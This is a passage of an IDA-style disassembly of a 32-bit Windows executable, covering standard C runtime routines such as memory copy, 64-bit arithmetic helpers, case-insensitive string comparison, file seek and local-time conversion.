		rep movsd
		jmp	off_4192D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41926C	dd offset loc_4192CF	; DATA XREF: sub_419190:loc_4191ECr
		dd offset loc_4192BC
		dd offset loc_4192B4
		dd offset loc_4192AC
		dd offset loc_4192A4
		dd offset loc_41929C
		dd offset loc_419294
		dd offset loc_41928C
; ---------------------------------------------------------------------------


loc_41928C:				; CODE XREF: sub_419190:loc_4191ECj
					; DATA XREF: sub_419190+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_419294:				; CODE XREF: sub_419190:loc_4191ECj
					; DATA XREF: sub_419190+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41929C:				; CODE XREF: sub_419190:loc_4191ECj
					; DATA XREF: sub_419190+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4192A4:				; CODE XREF: sub_419190:loc_4191ECj
					; DATA XREF: sub_419190+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4192AC:				; CODE XREF: sub_419190:loc_4191ECj
					; DATA XREF: sub_419190+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4192B4:				; CODE XREF: sub_419190:loc_4191ECj
					; DATA XREF: sub_419190+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4192BC:				; CODE XREF: sub_419190:loc_4191ECj
					; DATA XREF: sub_419190+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4192CF:				; CODE XREF: sub_419190:loc_4191ECj
					; DATA XREF: sub_419190:off_41926Co
		jmp	off_4192D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4192D8	dd offset loc_4192E8	; DATA XREF: sub_419190+35r
					; sub_419190+92r ...
		dd offset loc_4192F0
		dd offset loc_4192FC
		dd offset loc_419310
; ---------------------------------------------------------------------------


loc_4192E8:				; CODE XREF: sub_419190+35j
					; sub_419190+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4192F0:				; CODE XREF: sub_419190+35j
					; sub_419190+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4192FC:				; CODE XREF: sub_419190+35j
					; sub_419190+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_419310:				; CODE XREF: sub_419190+35j
					; sub_419190+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419328:				; CODE XREF: sub_419190+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41935C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_419350
		std
		rep movsd
		cld
		jmp	off_419470[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_419350:				; CODE XREF: sub_419190+1B1j
					; sub_419190+208j ...
		neg	ecx
		jmp	off_419420[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41935C:				; CODE XREF: sub_419190+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_419374
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_419374+4[eax*4]
; ---------------------------------------------------------------------------


loc_419374:				; CODE XREF: sub_419190+1D6j
					; DATA XREF: sub_419190+1DDr
		jmp	off_419470[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[ebx-6C57FFBFh], dl
		inc	ecx
		add	al, dl
		xchg	eax, ebx
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_419350
		std
		rep movsd
		cld
		jmp	off_419470[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_419350
		std
		rep movsd
		cld
		jmp	off_419470[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_419350
		std
		rep movsd
		cld
		jmp	off_419470[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_419424
		dd offset loc_41942C
		dd offset loc_419434
		dd offset loc_41943C
		dd offset loc_419444
		dd offset loc_41944C
		dd offset loc_419454
off_419420	dd offset loc_419467	; DATA XREF: sub_419190+1C2r
; ---------------------------------------------------------------------------


loc_419424:				; DATA XREF: sub_419190+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41942C:				; DATA XREF: sub_419190+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_419434:				; DATA XREF: sub_419190+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41943C:				; DATA XREF: sub_419190+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_419444:				; DATA XREF: sub_419190+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41944C:				; DATA XREF: sub_419190+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_419454:				; DATA XREF: sub_419190+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_419467:				; CODE XREF: sub_419190+1C2j
					; DATA XREF: sub_419190:off_419420o
		jmp	off_419470[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_419470	dd offset loc_419480	; DATA XREF: sub_419190+1B7r
					; sub_419190:loc_419374r ...
		dd offset loc_419488
		dd offset loc_419498
		dd offset loc_4194AC
; ---------------------------------------------------------------------------


loc_419480:				; CODE XREF: sub_419190+1B7j
					; sub_419190:loc_419374j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419488:				; CODE XREF: sub_419190+1B7j
					; sub_419190:loc_419374j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419498:				; CODE XREF: sub_419190+1B7j
					; sub_419190:loc_419374j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4194AC:				; CODE XREF: sub_419190+1B7j
					; sub_419190:loc_419374j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_419190	endp


; =============== S U B	R O U T	I N E =======================================



sub_4194C5	proc near		; CODE XREF: sub_40C896+34p
					; sub_40C896+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_417A3D
		pop	ecx
		pop	ecx
		retn
sub_4194C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4194D3	proc near		; CODE XREF: sub_419540+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4D9D74
		call	sub_41E0F8
		mov	edx, dword_4D9D74
		pop	ecx
		mov	ecx, dword_4D9D70
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_419532
		push	edx
		call	sub_41E0F8
		add	eax, 10h
		push	eax
		push	dword_4D9D74
		call	sub_4178D8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419515
		retn
; ---------------------------------------------------------------------------


loc_419515:				; CODE XREF: sub_4194D3+3Fj
		mov	ecx, dword_4D9D70
		sub	ecx, dword_4D9D74
		mov	dword_4D9D74, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4D9D70, ecx


loc_419532:				; CODE XREF: sub_4194D3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4D9D70, 4
		retn
sub_4194D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_419540	proc near		; CODE XREF: sub_40C983+1Ap
					; sub_42224E+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4194D3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_419540	endp


; =============== S U B	R O U T	I N E =======================================



sub_419552	proc near		; DATA XREF: nsp0:00425020o
		push	80h
		call	sub_417A2B
		test	eax, eax
		pop	ecx
		mov	dword_4D9D74, eax
		jnz	short loc_419573
		push	18h
		call	sub_419D79
		mov	eax, dword_4D9D74
		pop	ecx


loc_419573:				; CODE XREF: sub_419552+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4D9D74
		mov	dword_4D9D70, eax
		retn
sub_419552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419581	proc near		; CODE XREF: sub_40CAA5+1B0p

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_423134	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_42318C	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_4D873A
		jnz	short loc_4195E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4D8738
		jnz	short loc_4195E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4D8736
		jnz	short loc_4195E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4D8732
		jnz	short loc_4195E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4D8730
		jnz	short loc_4195E6
		mov	eax, dword_4D8728
		jmp	short loc_41962B
; ---------------------------------------------------------------------------


loc_4195E6:				; CODE XREF: sub_419581+28j
					; sub_419581+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_423188	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419613
		cmp	eax, 2
		jnz	short loc_41960F
		cmp	[ebp+var_32], 0
		jz	short loc_41960F
		cmp	[ebp+var_24], 0
		jz	short loc_41960F
		push	1
		pop	eax
		jmp	short loc_419616
; ---------------------------------------------------------------------------


loc_41960F:				; CODE XREF: sub_419581+7Aj
					; sub_419581+81j ...
		xor	eax, eax
		jmp	short loc_419616
; ---------------------------------------------------------------------------


loc_419613:				; CODE XREF: sub_419581+75j
		or	eax, 0FFFFFFFFh


loc_419616:				; CODE XREF: sub_419581+8Cj
					; sub_419581+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4D8730
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4D8728, eax
		pop	esi


loc_41962B:				; CODE XREF: sub_419581+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41E121
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41965B
		mov	[ecx], eax

locret_41965B:				; CODE XREF: sub_419581+D6j
		leave
		retn
sub_419581	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419660	proc near		; CODE XREF: sub_40CAA5+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4D8780
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4196B3
		mov	al, 0FFh
		mov	edi, edi


loc_41967C:				; CODE XREF: sub_419660+28j
					; sub_419660+48j
		or	al, al
		jz	short loc_4196AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41967C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41967C
		sbb	al, al
		sbb	al, 0FFh


loc_4196AE:				; CODE XREF: sub_419660+1Ej
		movsx	eax, al
		jmp	short loc_4196E7
; ---------------------------------------------------------------------------


loc_4196B3:				; CODE XREF: sub_419660+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_4196BC:				; CODE XREF: sub_419660+68j
					; sub_419660+80j
		or	al, al
		jz	short loc_4196E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_4196BC
		push	eax
		push	ebx
		call	sub_419A9C
		mov	ebx, eax
		add	esp, 4
		call	sub_419A9C
		add	esp, 4
		cmp	bl, al
		jz	short loc_4196BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_4196E7:				; CODE XREF: sub_419660+51j
					; sub_419660+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_419660	endp


; =============== S U B	R O U T	I N E =======================================



sub_4196EC	proc near		; CODE XREF: sub_41088E+26Ep
					; sub_41088E+37Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_419768
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_41970B
		cmp	edi, 1
		jz	short loc_41970B
		cmp	edi, 2
		jnz	short loc_419768


loc_41970B:				; CODE XREF: sub_4196EC+13j
					; sub_4196EC+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_419722
		push	esi
		call	sub_41E27D
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_419722:				; CODE XREF: sub_4196EC+27j
		push	esi
		call	sub_419EDB
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_419737
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41974B
; ---------------------------------------------------------------------------


loc_419737:				; CODE XREF: sub_4196EC+42j
		test	al, 1
		jz	short loc_41974B
		test	al, 8
		jz	short loc_41974B
		test	ah, 4
		jnz	short loc_41974B
		mov	dword ptr [esi+18h], 200h


loc_41974B:				; CODE XREF: sub_4196EC+49j
					; sub_4196EC+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41E1E3
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_419775
; ---------------------------------------------------------------------------


loc_419768:				; CODE XREF: sub_4196EC+Bj
					; sub_4196EC+1Dj
		mov	dword_4D86D0, 16h
		or	eax, 0FFFFFFFFh


loc_419775:				; CODE XREF: sub_4196EC+7Aj
		pop	edi
		pop	esi
		retn
sub_4196EC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419780	proc near		; CODE XREF: sub_4114BF+19Ep
					; sub_41221C+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_419799
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_419799:				; CODE XREF: sub_419780+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_419780	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197B4	proc near		; CODE XREF: sub_414432+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_423098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4197D4
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		call	sub_41BEC4
		pop	ecx


loc_4197D0:				; CODE XREF: sub_4197B4+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4197D4:				; CODE XREF: sub_4197B4+Dj
		test	al, 1
		jz	short loc_4197F5
		test	[esp+arg_4], 2
		jz	short loc_4197F5
		mov	dword_4D86D0, 0Dh
		mov	dword_4D86D4, 5
		jmp	short loc_4197D0
; ---------------------------------------------------------------------------


loc_4197F5:				; CODE XREF: sub_4197B4+22j
					; sub_4197B4+29j
		xor	eax, eax
		retn
sub_4197B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419800	proc near		; CODE XREF: sub_41444C+3Fp
					; sub_4172B2+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_419822
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_419863
; ---------------------------------------------------------------------------


loc_419822:				; CODE XREF: sub_419800+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_419830:				; CODE XREF: sub_419800+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_419830
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41985E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41985E
		jb	short loc_41985F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41985F


loc_41985E:				; CODE XREF: sub_419800+4Ej
					; sub_419800+54j
		dec	esi


loc_41985F:				; CODE XREF: sub_419800+56j
					; sub_419800+5Cj
		xor	edx, edx
		mov	eax, esi


loc_419863:				; CODE XREF: sub_419800+20j
		pop	esi
		pop	ebx
		retn	10h
sub_419800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419870	proc near		; CODE XREF: sub_41444C+2Dp
					; sub_4172B2+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_419891
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_4198E1
; ---------------------------------------------------------------------------


loc_419891:				; CODE XREF: sub_419870+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41989F:				; CODE XREF: sub_419870+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41989F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_4198CA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_4198CA
		jb	short loc_4198D2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4198D2


loc_4198CA:				; CODE XREF: sub_419870+4Aj
					; sub_419870+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4198D2:				; CODE XREF: sub_419870+52j
					; sub_419870+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4198E1:				; CODE XREF: sub_419870+1Fj
		pop	ebx
		retn	10h
sub_419870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4198F0	proc near		; CODE XREF: sub_41455C+5Fp
					; sub_41455C+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_419911
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_419911:				; CODE XREF: sub_4198F0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41992D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41992D:				; CODE XREF: sub_4198F0+27j
		or	eax, eax
		jnz	short loc_419949
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41998A
; ---------------------------------------------------------------------------


loc_419949:				; CODE XREF: sub_4198F0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_419957:				; CODE XREF: sub_4198F0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_419957
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_419985
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_419985
		jb	short loc_419986
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_419986


loc_419985:				; CODE XREF: sub_4198F0+85j
					; sub_4198F0+8Bj
		dec	esi


loc_419986:				; CODE XREF: sub_4198F0+8Dj
					; sub_4198F0+93j
		xor	edx, edx
		mov	eax, esi


loc_41998A:				; CODE XREF: sub_4198F0+57j
		dec	edi
		jnz	short loc_419994
		neg	edx
		neg	eax
		sbb	edx, 0


loc_419994:				; CODE XREF: sub_4198F0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_4198F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41999A	proc near		; CODE XREF: sub_414BB2+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43AD8C, 1
		jle	short loc_4199B1
		push	4
		push	[esp+4+arg_0]
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4199B1:				; CODE XREF: sub_41999A+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43AB80
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41999A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199C2	proc near		; CODE XREF: sub_41BFF5+76p
					; sub_41BFF5+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43AD8C, 1
		jle	short loc_4199D9
		push	8
		push	[esp+4+arg_0]
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4199D9:				; CODE XREF: sub_4199C2+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43AB80
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_4199C2	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_419A3C
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_419A3D
		test	eax, 1
		jz	short loc_419A1D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_419A6A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_419A3A


loc_419A1D:				; CODE XREF: nsp0:00419A10j
					; nsp0:00419A38j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_419A6A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_419A6A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_419A1D


loc_419A3A:				; CODE XREF: nsp0:00419A1Bj
					; nsp0:00419A74j
		pop	edi
		pop	esi

locret_419A3C:				; CODE XREF: nsp0:004199F6j
		retn
; ---------------------------------------------------------------------------


loc_419A3D:				; CODE XREF: nsp0:00419A09j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_419A72
		repe cmpsd
		jz	short loc_419A72
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_419A65
		cmp	ch, dh
		jnz	short loc_419A65
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_419A65
		cmp	ch, dh


loc_419A65:				; CODE XREF: nsp0:00419A53j
					; nsp0:00419A57j ...
		mov	eax, 0


loc_419A6A:				; CODE XREF: nsp0:00419A16j
					; nsp0:00419A23j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419A72:				; CODE XREF: nsp0:00419A45j
					; nsp0:00419A49j
		test	eax, eax
		jz	short loc_419A3A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_419A65
		dec	eax
		jz	short loc_419A99
		cmp	dh, ch
		jnz	short loc_419A65
		dec	eax
		jz	short loc_419A99
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_419A65
		dec	eax


loc_419A99:				; CODE XREF: nsp0:00419A7Fj
					; nsp0:00419A86j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A9C	proc near		; CODE XREF: sub_41513D+6p
					; sub_41515B+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4D8788, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_419AC9
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_419B62
		cmp	eax, 5Ah
		jg	loc_419B62
		add	eax, 20h
		jmp	loc_419B62
; ---------------------------------------------------------------------------


loc_419AC9:				; CODE XREF: sub_419A9C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_419AFD
		cmp	dword_43AD8C, esi
		jle	short loc_419AEB
		push	esi
		push	ebx
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_419AF5
; ---------------------------------------------------------------------------


loc_419AEB:				; CODE XREF: sub_419A9C+42j
		mov	eax, off_43AB80
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_419AF5:				; CODE XREF: sub_419A9C+4Dj
		test	eax, eax
		jnz	short loc_419AFD


loc_419AF9:				; CODE XREF: sub_419A9C+ADj
		mov	eax, ebx
		jmp	short loc_419B62
; ---------------------------------------------------------------------------


loc_419AFD:				; CODE XREF: sub_419A9C+3Aj
					; sub_419A9C+5Bj
		mov	edx, off_43AB80
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
